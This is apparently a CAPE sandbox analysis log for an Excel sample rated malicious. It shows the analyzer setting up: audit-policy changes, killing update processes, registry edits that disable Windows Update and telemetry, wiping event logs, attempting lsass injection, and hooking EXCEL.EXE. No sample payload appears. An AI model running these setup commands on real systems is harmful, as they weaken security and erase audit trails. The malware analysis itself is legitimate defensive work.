| Category | Package | Started | Completed | Duration | Options | Log(s) | MalScore |
|---|---|---|---|---|---|---|---|
| FILE | xls | 2025-12-09 15:09:42 | 2025-12-09 15:13:07 | 205 seconds | Show Options | Show Analysis Log | 10.0 |
vnc_port=5900
2025-12-06 18:05:29,745 [root] INFO: Date set to: 20251209T07:09:37, timeout set to: 180
2025-12-06 18:05:29,745 [root] DEBUG: Starting analyzer from: C:\tmpodgh_435
2025-12-06 18:05:29,745 [root] DEBUG: Storing results at: C:\obthVYLcwy
2025-12-06 18:05:29,745 [root] DEBUG: Pipe server name: \\.\PIPE\qUjtiY
2025-12-06 18:05:29,745 [root] DEBUG: Python path: C:\Python38
2025-12-06 18:05:29,745 [root] INFO: analysis running as a normal user
2025-12-06 18:05:29,745 [root] INFO: analysis package specified: "xls"
2025-12-06 18:05:29,745 [root] DEBUG: importing analysis package module: "modules.packages.xls"...
2025-12-06 18:05:29,745 [root] DEBUG: imported analysis package "xls"
2025-12-06 18:05:29,745 [root] DEBUG: initializing analysis package "xls"...
2025-12-06 18:05:29,745 [lib.common.common] INFO: wrapping
2025-12-06 18:05:29,745 [lib.core.compound] ERROR: Unable to create user-defined custom folder directory
2025-12-06 18:05:29,745 [root] DEBUG: New location of moved file: C:\Users\user\AppData\Local\Temp\26bd031cb4a5333bbd77.xls
2025-12-06 18:05:29,745 [root] INFO: Analyzer: Package modules.packages.xls does not specify a DLL option
2025-12-06 18:05:29,745 [root] INFO: Analyzer: Package modules.packages.xls does not specify a DLL_64 option
2025-12-06 18:05:29,745 [root] INFO: Analyzer: Package modules.packages.xls does not specify a loader option
2025-12-06 18:05:29,745 [root] INFO: Analyzer: Package modules.packages.xls does not specify a loader_64 option
2025-12-06 18:05:29,777 [root] DEBUG: Imported auxiliary module "modules.auxiliary.browser"
2025-12-06 18:05:29,777 [root] DEBUG: Imported auxiliary module "modules.auxiliary.curtain"
2025-12-06 18:05:29,777 [root] DEBUG: Imported auxiliary module "modules.auxiliary.disguise"
2025-12-06 18:05:29,777 [root] DEBUG: Imported auxiliary module "modules.auxiliary.during_script"
2025-12-06 18:05:29,777 [root] DEBUG: Imported auxiliary module "modules.auxiliary.end_noisy_tasks"
2025-12-06 18:05:29,777 [root] DEBUG: Imported auxiliary module "modules.auxiliary.evtx"
2025-12-06 18:05:29,792 [root] DEBUG: Imported auxiliary module "modules.auxiliary.human"
2025-12-06 18:05:29,792 [root] DEBUG: Imported auxiliary module "modules.auxiliary.pre_script"
2025-12-06 18:05:29,792 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageChops'
2025-12-06 18:05:29,808 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageGrab'
2025-12-06 18:05:29,808 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageDraw'
2025-12-06 18:05:29,808 [root] DEBUG: Imported auxiliary module "modules.auxiliary.screenshots"
2025-12-06 18:05:29,824 [root] DEBUG: Imported auxiliary module "modules.auxiliary.sysmon"
2025-12-06 18:05:29,824 [root] DEBUG: Imported auxiliary module "modules.auxiliary.tlsdump"
2025-12-06 18:05:29,839 [root] DEBUG: Imported auxiliary module "modules.auxiliary.usage"
2025-12-06 18:05:29,839 [root] DEBUG: Initialized auxiliary module "Browser"
2025-12-06 18:05:29,839 [root] DEBUG: attempting to configure 'Browser' from data
2025-12-06 18:05:29,839 [root] DEBUG: module Browser does not support data configuration, ignoring
2025-12-06 18:05:29,839 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.browser"...
2025-12-06 18:05:29,839 [root] DEBUG: Started auxiliary module modules.auxiliary.browser
2025-12-06 18:05:29,839 [root] DEBUG: Initialized auxiliary module "Curtain"
2025-12-06 18:05:29,839 [root] DEBUG: attempting to configure 'Curtain' from data
2025-12-06 18:05:29,839 [root] DEBUG: module Curtain does not support data configuration, ignoring
2025-12-06 18:05:29,839 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.curtain"...
2025-12-06 18:05:29,839 [root] DEBUG: Started auxiliary module modules.auxiliary.curtain
2025-12-06 18:05:29,839 [root] DEBUG: Initialized auxiliary module "Disguise"
2025-12-06 18:05:29,839 [root] DEBUG: attempting to configure 'Disguise' from data
2025-12-06 18:05:29,839 [root] DEBUG: module Disguise does not support data configuration, ignoring
2025-12-06 18:05:29,839 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.disguise"...
2025-12-06 18:05:29,839 [root] WARNING: Cannot execute auxiliary module modules.auxiliary.disguise: [WinError 5] Access is denied
2025-12-06 18:05:29,839 [root] DEBUG: Initialized auxiliary module "End_noisy_tasks"
2025-12-06 18:05:29,839 [root] DEBUG: attempting to configure 'End_noisy_tasks' from data
2025-12-06 18:05:29,839 [root] DEBUG: module End_noisy_tasks does not support data configuration, ignoring
2025-12-06 18:05:29,839 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.end_noisy_tasks"...
2025-12-06 18:05:29,839 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM wuauclt.exe
2025-12-06 18:05:29,839 [root] DEBUG: Started auxiliary module modules.auxiliary.end_noisy_tasks
2025-12-06 18:05:29,839 [root] DEBUG: Initialized auxiliary module "Evtx"
2025-12-06 18:05:29,839 [root] DEBUG: attempting to configure 'Evtx' from data
2025-12-06 18:05:29,839 [root] DEBUG: module Evtx does not support data configuration, ignoring
2025-12-06 18:05:29,839 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.evtx"...
2025-12-06 18:05:29,839 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Security State Change" /success:enable /failure:enable
2025-12-06 18:05:29,839 [root] DEBUG: Started auxiliary module modules.auxiliary.evtx
2025-12-06 18:05:29,839 [root] DEBUG: Initialized auxiliary module "Human"
2025-12-06 18:05:29,839 [root] DEBUG: attempting to configure 'Human' from data
2025-12-06 18:05:29,839 [root] DEBUG: module Human does not support data configuration, ignoring
2025-12-06 18:05:29,839 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.human"...
2025-12-06 18:05:29,839 [root] DEBUG: Started auxiliary module modules.auxiliary.human
2025-12-06 18:05:29,839 [root] DEBUG: Initialized auxiliary module "Pre_script"
2025-12-06 18:05:29,839 [root] DEBUG: attempting to configure 'Pre_script' from data
2025-12-06 18:05:29,839 [root] DEBUG: module Pre_script does not support data configuration, ignoring
2025-12-06 18:05:29,839 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.pre_script"...
2025-12-06 18:05:29,839 [root] DEBUG: Started auxiliary module modules.auxiliary.pre_script
2025-12-06 18:05:29,839 [root] DEBUG: Initialized auxiliary module "Screenshots"
2025-12-06 18:05:29,839 [root] DEBUG: attempting to configure 'Screenshots' from data
2025-12-06 18:05:29,839 [root] DEBUG: module Screenshots does not support data configuration, ignoring
2025-12-06 18:05:29,839 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.screenshots"...
2025-12-06 18:05:29,839 [root] DEBUG: Started auxiliary module modules.auxiliary.screenshots
2025-12-06 18:05:29,839 [root] DEBUG: Initialized auxiliary module "Sysmon"
2025-12-06 18:05:29,839 [root] DEBUG: attempting to configure 'Sysmon' from data
2025-12-06 18:05:29,839 [root] DEBUG: module Sysmon does not support data configuration, ignoring
2025-12-06 18:05:29,839 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.sysmon"...
2025-12-06 18:05:29,918 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Security System Extension" /success:enable /failure:enable
2025-12-06 18:05:29,980 [root] WARNING: Cannot execute auxiliary module modules.auxiliary.sysmon: In order to use the Sysmon functionality, it is required to have the SMaster(64|32).exe file and sysmonconfig-export.xml file in the bin path. Note that the SMaster(64|32).exe files are just the standard Sysmon binaries renamed to avoid anti-analysis detection techniques.
2025-12-06 18:05:29,980 [root] DEBUG: Initialized auxiliary module "TLSDumpMasterSecrets"
2025-12-06 18:05:29,980 [root] DEBUG: attempting to configure 'TLSDumpMasterSecrets' from data
2025-12-06 18:05:29,980 [root] DEBUG: module TLSDumpMasterSecrets does not support data configuration, ignoring
2025-12-06 18:05:29,980 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.tlsdump"...
2025-12-06 18:05:29,980 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM wusa.exe
2025-12-06 18:05:29,980 [modules.auxiliary.tlsdump] INFO: lsass.exe found, pid 672
2025-12-06 18:05:29,980 [lib.api.process] WARNING: failed to open process 672
2025-12-06 18:05:29,980 [lib.api.process] WARNING: failed to open process 672
2025-12-06 18:05:29,980 [lib.api.process] WARNING: failed to open process 672
2025-12-06 18:05:29,980 [lib.api.process] DEBUG: Failed getting image name for pid 672
2025-12-06 18:05:29,980 [lib.api.process] WARNING: failed to open process 672
2025-12-06 18:05:29,980 [lib.api.process] DEBUG: Failed getting image name for pid 672
2025-12-06 18:05:29,980 [lib.api.process] DEBUG: Failed getting exit code for <Process 672 ???>
2025-12-06 18:05:29,980 [lib.api.process] WARNING: failed to open process 672
2025-12-06 18:05:29,980 [lib.api.process] DEBUG: Failed getting image name for pid 672
2025-12-06 18:05:29,980 [lib.api.process] WARNING: failed to open process 672
2025-12-06 18:05:29,980 [lib.api.process] DEBUG: Failed getting image name for pid 672
2025-12-06 18:05:29,980 [lib.api.process] WARNING: the <Process 672 ???> is not alive, injection aborted
2025-12-06 18:05:29,980 [root] DEBUG: Started auxiliary module modules.auxiliary.tlsdump
2025-12-06 18:05:29,980 [root] DEBUG: Initialized auxiliary module "Usage"
2025-12-06 18:05:29,980 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"System Integrity" /success:enable /failure:enable
2025-12-06 18:05:29,980 [root] DEBUG: attempting to configure 'Usage' from data
2025-12-06 18:05:29,980 [root] DEBUG: module Usage does not support data configuration, ignoring
2025-12-06 18:05:29,980 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.usage"...
2025-12-06 18:05:29,980 [root] DEBUG: Started auxiliary module modules.auxiliary.usage
2025-12-06 18:05:29,980 [root] DEBUG: Initialized auxiliary module "During_script"
2025-12-06 18:05:29,980 [root] DEBUG: attempting to configure 'During_script' from data
2025-12-06 18:05:29,980 [root] DEBUG: module During_script does not support data configuration, ignoring
2025-12-06 18:05:29,980 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.during_script"...
2025-12-06 18:05:29,980 [root] DEBUG: Started auxiliary module modules.auxiliary.during_script
2025-12-06 18:05:30,027 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Driver" /success:disable /failure:disable
2025-12-06 18:05:30,058 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM WindowsUpdate.exe
2025-12-06 18:05:30,074 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other System Events" /success:disable /failure:enable
2025-12-06 18:05:30,120 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Logon" /success:enable /failure:enable
2025-12-06 18:05:30,120 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM GoogleUpdate.exe
2025-12-06 18:05:30,152 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Logoff" /success:enable /failure:enable
2025-12-06 18:05:30,183 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM MicrosoftEdgeUpdate.exe
2025-12-06 18:05:30,199 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Account Lockout" /success:enable /failure:enable
2025-12-06 18:05:30,214 [root] INFO: Restarting WMI Service
2025-12-06 18:05:30,230 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Main Mode" /success:disable /failure:disable
2025-12-06 18:05:30,246 [root] DEBUG: package modules.packages.xls does not support configure, ignoring
2025-12-06 18:05:30,261 [root] WARNING: configuration error for package modules.packages.xls: error importing data.packages.xls: No module named 'data.packages'
2025-12-06 18:05:30,261 [lib.core.compound] INFO: C:\Users\user\AppData\Local\Temp already exists, skipping creation
2025-12-06 18:05:30,261 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Quick Mode" /success:disable /failure:disable
2025-12-06 18:05:30,292 [modules.auxiliary.end_noisy_tasks] DEBUG: Command executed with exit code 1: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
2025-12-06 18:05:30,308 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Extended Mode" /success:disable /failure:disable
2025-12-06 18:05:30,339 [modules.auxiliary.end_noisy_tasks] DEBUG: Command executed with exit code 1: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f
2025-12-06 18:05:30,339 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Logon/Logoff Events" /success:enable /failure:enable
2025-12-06 18:05:30,386 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Network Policy Server" /success:enable /failure:enable
2025-12-06 18:05:30,386 [modules.auxiliary.end_noisy_tasks] DEBUG: Command executed with exit code 1: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v EnableICMPRedirect /t REG_DWORD /d 0 /f
2025-12-06 18:05:30,417 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Special Logon" /success:enable /failure:enable
2025-12-06 18:05:30,448 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"File System" /success:enable /failure:enable
2025-12-06 18:05:30,480 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Registry" /success:enable /failure:enable
2025-12-06 18:05:30,511 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Kernel Object" /success:enable /failure:enable
2025-12-06 18:05:30,526 [lib.api.process] INFO: Successfully executed process from path "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" with arguments ""C:\Users\user\AppData\Local\Temp\26bd031cb4a5333bbd77.xls" /dde" with pid 3476
2025-12-06 18:05:30,526 [lib.api.process] INFO: Monitor config for <Process 3476 EXCEL.EXE>: C:\tmpodgh_435\dll\3476.ini
2025-12-06 18:05:30,526 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpodgh_435\dll\uEkYutNh.dll, loader C:\tmpodgh_435\bin\excVWoS.exe
2025-12-06 18:05:30,526 [root] DEBUG: Loader: Injecting process 3476 (thread 4524) with C:\tmpodgh_435\dll\uEkYutNh.dll.
2025-12-06 18:05:30,526 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-06 18:05:30,526 [root] DEBUG: Successfully injected DLL C:\tmpodgh_435\dll\uEkYutNh.dll.
2025-12-06 18:05:30,526 [lib.api.process] INFO: Injected into 32-bit <Process 3476 EXCEL.EXE>
2025-12-06 18:05:30,542 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"SAM" /success:disable /failure:disable
2025-12-06 18:05:30,558 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
2025-12-06 18:05:30,589 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Handle Manipulation" /success:disable /failure:disable
2025-12-06 18:05:30,620 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Application Generated" /success:enable /failure:enable
2025-12-06 18:05:30,651 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"File Share" /success:enable /failure:enable
2025-12-06 18:05:30,667 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Filtering Platform Packet Drop" /success:disable /failure:disable
2025-12-06 18:05:30,698 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Filtering Platform Connection" /success:disable /failure:disable
2025-12-06 18:05:30,730 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Object Access Events" /success:disable /failure:disable
2025-12-06 18:05:30,761 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Sensitive Privilege Use" /success:disable /failure:disable
2025-12-06 18:05:30,777 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Non Sensitive Privilege Use" /success:disable /failure:disable
2025-12-06 18:05:30,808 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Privilege Use Events" /success:disable /failure:disable
2025-12-06 18:05:30,839 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"RPC Events" /success:enable /failure:enable
2025-12-06 18:05:30,870 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Audit Policy Change" /success:enable /failure:enable
2025-12-06 18:05:30,886 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Authentication Policy Change" /success:enable /failure:enable
2025-12-06 18:05:30,917 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"MPSSVC Rule-Level Policy Change" /success:disable /failure:disable
2025-12-06 18:05:30,948 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Filtering Platform Policy Change" /success:disable /failure:disable
2025-12-06 18:05:30,980 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Policy Change Events" /success:disable /failure:enable
2025-12-06 18:05:31,011 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
2025-12-06 18:05:31,027 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Computer Account Management" /success:enable /failure:enable
2025-12-06 18:05:31,058 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Security Group Management" /success:enable /failure:enable
2025-12-06 18:05:31,089 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Distribution Group Management" /success:enable /failure:enable
2025-12-06 18:05:31,105 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Application Group Management" /success:enable /failure:enable
2025-12-06 18:05:31,136 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Account Management Events" /success:enable /failure:enable
2025-12-06 18:05:31,167 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
2025-12-06 18:05:31,199 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
2025-12-06 18:05:31,230 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Directory Service Replication" /success:disable /failure:enable
2025-12-06 18:05:31,245 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Detailed Directory Service Replication" /success:disable /failure:disable
2025-12-06 18:05:31,277 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
2025-12-06 18:05:31,308 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
2025-12-06 18:05:31,339 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Account Logon Events" /success:enable /failure:enable
2025-12-06 18:05:31,355 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
2025-12-06 18:05:31,386 [modules.auxiliary.evtx] DEBUG: Wiping Application
2025-12-06 18:05:31,417 [modules.auxiliary.evtx] DEBUG: Wiping HardwareEvents
2025-12-06 18:05:31,449 [modules.auxiliary.evtx] DEBUG: Wiping Internet Explorer
2025-12-06 18:05:31,464 [modules.auxiliary.evtx] DEBUG: Wiping Key Management Service
2025-12-06 18:05:31,495 [modules.auxiliary.evtx] DEBUG: Wiping OAlerts
2025-12-06 18:05:31,527 [modules.auxiliary.evtx] DEBUG: Wiping Security
2025-12-06 18:05:31,542 [modules.auxiliary.evtx] DEBUG: Wiping Setup
2025-12-06 18:05:31,574 [modules.auxiliary.evtx] DEBUG: Wiping System
2025-12-06 18:05:31,605 [modules.auxiliary.evtx] DEBUG: Wiping Windows PowerShell
2025-12-06 18:05:31,621 [modules.auxiliary.evtx] DEBUG: Wiping Microsoft-Windows-Sysmon/Operational
2025-12-06 18:05:32,542 [lib.api.process] INFO: Successfully resumed <Process 3476 EXCEL.EXE>
2025-12-06 18:05:32,589 [root] DEBUG: 3476: Python path set to 'C:\Python38'.
2025-12-06 18:05:32,589 [root] INFO: Disabling sleep skipping.
2025-12-06 18:05:32,589 [root] DEBUG: 3476: Dropped file limit defaulting to 100.
2025-12-06 18:05:32,667 [root] DEBUG: 3476: Microsoft Office settings enabled.
2025-12-06 18:05:32,667 [root] DEBUG: Error 5 (0x5) - AmsiDumper: Is CAPE agent running elevated? Initialisation failed: Access is denied.
2025-12-06 18:05:32,667 [root] DEBUG: 3476: Monitor initialised: 32-bit capemon loaded in process 3476 at 0x73cb0000, thread 4524, image base 0x2e0000, stack from 0x3935000-0x3940000
2025-12-06 18:05:32,667 [root] DEBUG: 3476: Commandline: "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" "C:\Users\user\AppData\Local\Temp\26bd031cb4a5333bbd77.xls" /dde
2025-12-06 18:05:32,667 [root] DEBUG: 3476: hook_api: Warning - CoCreateInstance export address 0x7595569D differs from GetProcAddress -> 0x75E595D0 (combase.dll::0xd95d0)
2025-12-06 18:05:32,667 [root] DEBUG: 3476: hook_api: Warning - CoCreateInstanceEx export address 0x759556DC differs from GetProcAddress -> 0x75E3C540 (combase.dll::0xbc540)
2025-12-06 18:05:32,667 [root] DEBUG: 3476: hook_api: Warning - CoGetClassObject export address 0x75955C6C differs from GetProcAddress -> 0x75E251A0 (combase.dll::0xa51a0)
2025-12-06 18:05:32,667 [root] DEBUG: 3476: hook_api: Warning - CreateRemoteThreadEx export address 0x76FC866C differs from GetProcAddress -> 0x774C7630 (KERNELBASE.dll::0x137630)
2025-12-06 18:05:32,667 [root] DEBUG: 3476: hook_api: Warning - CLSIDFromProgID export address 0x75954ED6 differs from GetProcAddress -> 0x75DF16A0 (combase.dll::0x716a0)
2025-12-06 18:05:32,667 [root] DEBUG: 3476: hook_api: Warning - CLSIDFromProgIDEx export address 0x75954F13 differs from GetProcAddress -> 0x75DF0500 (combase.dll::0x70500)
2025-12-06 18:05:32,667 [root] DEBUG: 3476: Hooked 434 out of 434 functions
2025-12-06 18:05:32,667 [root] DEBUG: 3476: Syscall hook installed, syscall logging level 1
2025-12-06 18:05:32,667 [root] DEBUG: 3476: WoW64fix: Windows version 10.0 not supported.
2025-12-06 18:05:32,667 [root] INFO: Loaded monitor into process with pid 3476
2025-12-06 18:05:33,011 [root] DEBUG: 3476: DLL loaded at 0x75770000: C:\Windows\System32\oleaut32 (0x96000 bytes).
2025-12-06 18:05:33,058 [root] DEBUG: 3476: DLL loaded at 0x742E0000: C:\Windows\SYSTEM32\CRYPTUI (0x3f000 bytes).
2025-12-06 18:05:33,058 [root] DEBUG: 3476: DLL loaded at 0x75440000: C:\Windows\SYSTEM32\IPHLPAPI (0x33000 bytes).
2025-12-06 18:05:33,058 [root] DEBUG: 3476: DLL loaded at 0x72E90000: C:\Program Files (x86)\Common Files\Microsoft Shared\Office16\mso20win32client (0x68a000 bytes).
2025-12-06 18:05:33,105 [root] DEBUG: 3476: DLL loaded at 0x74290000: C:\Windows\SYSTEM32\wevtapi (0x49000 bytes).
2025-12-06 18:05:33,105 [root] DEBUG: 3476: DLL loaded at 0x723B0000: C:\Program Files (x86)\Common Files\Microsoft Shared\Office16\mso30win32client (0xadc000 bytes).
2025-12-06 18:05:33,167 [root] DEBUG: 3476: DLL loaded at 0x71520000: C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.2251_none_d9513b1fe1046fc7\gdiplus (0x167000 bytes).
2025-12-06 18:05:33,167 [root] DEBUG: 3476: DLL loaded at 0x71690000: C:\Program Files (x86)\Common Files\Microsoft Shared\Office16\mso40uiwin32client (0xd1e000 bytes).
2025-12-06 18:05:33,183 [root] DEBUG: 3476: DLL loaded at 0x71430000: C:\Program Files (x86)\Common Files\Microsoft Shared\Office16\mso50win32client (0xef000 bytes).
2025-12-06 18:05:33,277 [root] DEBUG: 3476: DLL loaded at 0x74280000: C:\Windows\SYSTEM32\HTTPAPI (0xb000 bytes).
2025-12-06 18:05:33,277 [root] DEBUG: 3476: DLL loaded at 0x6FF50000: C:\Windows\SYSTEM32\PROPSYS (0xc2000 bytes).
2025-12-06 18:05:33,293 [root] DEBUG: 3476: DLL loaded at 0x74240000: C:\Windows\SYSTEM32\WTSAPI32 (0xf000 bytes).
2025-12-06 18:05:33,293 [root] DEBUG: 3476: DLL loaded at 0x70020000: C:\Program Files (x86)\Common Files\Microsoft Shared\Office16\mso98win32client (0x1407000 bytes).
2025-12-06 18:05:33,417 [root] DEBUG: 3476: DLL loaded at 0x084F0000: C:\Program Files (x86)\Common Files\Microsoft Shared\Office16\mso (0x1cc1000 bytes).
2025-12-06 18:05:33,417 [root] DEBUG: 3476: DLL loaded at 0x77020000: C:\Windows\System32\bcryptPrimitives (0x5f000 bytes).
2025-12-06 18:05:33,448 [root] DEBUG: 3476: DLL loaded at 0x6DFE0000: C:\Windows\SYSTEM32\msi (0x298000 bytes).
2025-12-06 18:05:33,464 [root] DEBUG: 3476: DLL loaded at 0x6DDD0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1110_none_a8625c1886757984\Comctl32 (0x210000 bytes).
2025-12-06 18:05:33,464 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\{D97DA1AE-2C1A-4825-BB08-AB4D047678BC} - OProcSessId.dat
2025-12-06 18:05:33,495 [root] DEBUG: 3476: DLL loaded at 0x6D8B0000: C:\Windows\SYSTEM32\d2d1 (0x515000 bytes).
2025-12-06 18:05:33,495 [root] DEBUG: 3476: DLL loaded at 0x750B0000: C:\Windows\system32\uxtheme (0x74000 bytes).
2025-12-06 18:05:33,511 [root] DEBUG: 3476: DLL loaded at 0x76E50000: C:\Windows\System32\MSCTF (0xd4000 bytes).
2025-12-06 18:05:33,511 [root] DEBUG: 3476: DLL loaded at 0x73920000: C:\Windows\SYSTEM32\WINSTA (0x4e000 bytes).
2025-12-06 18:05:33,511 [root] DEBUG: 3476: DLL loaded at 0x6D7E0000: C:\Windows\SYSTEM32\dxgi (0xc2000 bytes).
2025-12-06 18:05:33,526 [root] DEBUG: 3476: DLL loaded at 0x74230000: C:\Windows\SYSTEM32\resourcepolicyclient (0xf000 bytes).
2025-12-06 18:05:33,526 [root] DEBUG: 3476: set_hooks_by_export_directory: Hooked 0 out of 434 functions
2025-12-06 18:05:33,526 [root] DEBUG: 3476: DLL loaded at 0x75290000: C:\Windows\SYSTEM32\kernel.appcore (0xf000 bytes).
2025-12-06 18:05:33,542 [root] DEBUG: 3476: DLL loaded at 0x752A0000: C:\Windows\SYSTEM32\VERSION (0x8000 bytes).
2025-12-06 18:05:33,558 [root] DEBUG: 3476: DLL loaded at 0x73890000: C:\Windows\SYSTEM32\POWRPROF (0x44000 bytes).
2025-12-06 18:05:33,558 [root] DEBUG: 3476: DLL loaded at 0x74230000: C:\Windows\SYSTEM32\UMPDC (0xd000 bytes).
2025-12-06 18:05:33,589 [root] DEBUG: 3476: DLL loaded at 0x6D600000: C:\Windows\SYSTEM32\d3d11 (0x1e0000 bytes).
2025-12-06 18:05:33,589 [root] DEBUG: 3476: DLL loaded at 0x75810000: C:\Windows\System32\shcore (0x87000 bytes).
2025-12-06 18:05:33,620 [root] DEBUG: 3476: DLL loaded at 0x6D030000: C:\Windows\SYSTEM32\d3d10warp (0x5c2000 bytes).
2025-12-06 18:05:33,620 [root] DEBUG: 3476: DLL loaded at 0x76080000: C:\Windows\System32\cfgmgr32 (0x3b000 bytes).
2025-12-06 18:05:33,620 [root] DEBUG: 3476: DLL loaded at 0x73860000: C:\Windows\SYSTEM32\dxcore (0x2c000 bytes).
2025-12-06 18:05:33,636 [root] DEBUG: 3476: DLL loaded at 0x74A50000: C:\Windows\SYSTEM32\Wldp (0x25000 bytes).
2025-12-06 18:05:33,636 [root] DEBUG: 3476: DLL loaded at 0x74A80000: C:\Windows\SYSTEM32\windows.storage (0x60d000 bytes).
2025-12-06 18:05:33,636 [root] DEBUG: 3476: DLL loaded at 0x73840000: C:\Windows\SYSTEM32\profapi (0x18000 bytes).
2025-12-06 18:05:33,651 [root] DEBUG: 3476: DLL loaded at 0x73910000: C:\Windows\SYSTEM32\Secur32 (0xa000 bytes).
2025-12-06 18:05:33,667 [root] DEBUG: 3476: DLL loaded at 0x77310000: C:\Windows\System32\clbcatq (0x7e000 bytes).
2025-12-06 18:05:33,667 [root] DEBUG: 3476: DLL loaded at 0x6CE20000: C:\Windows\SYSTEM32\DWrite (0x20c000 bytes).
